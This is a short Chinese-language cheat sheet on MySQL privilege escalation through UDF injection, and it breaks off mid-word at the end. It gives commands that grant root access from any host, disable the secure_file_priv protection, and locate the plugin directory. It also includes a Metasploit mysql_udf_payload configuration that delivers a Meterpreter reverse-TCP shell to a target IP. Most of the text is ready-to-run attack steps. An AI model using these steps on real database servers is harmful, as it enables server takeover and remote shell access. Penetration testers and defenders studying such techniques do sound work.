数据库提权
Mysql
udf提权(用户自定义函数)
条件:
开启外部连接
知道账户密码(配置文件)
有写入权限
开启数据库外联
mysql> use mysql;
mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
mysql> flush privileges;
关闭数据库外联
mysql> use mysql;
mysql> DELETE FROM user WHERE User="root" and Host="%";
mysql> FLUSH PRIVILEGES;
udf存放路径:
mysql <5.1 c:/windows 或 system32
mysql>=5.1 /lib/plugin
select version(); //获取版本
select @@basedir; //获取mysql安装目录
show global variables like '%secure%'; //查看是否有写入权限(secure_file_priv= )
如何更改secure_file_priv的值:
windows下:
修改my.ini 在[mysqld]内加入secure_file_priv=""
linux下:
修改my.cnf 在[mysqld]内加入secure_file_priv=""
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv
注意:
linux: .so
windows: .dll
msf生成dll
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set username root
set rhosts 192.168.x.x
run
qlmap生成dll
sqlm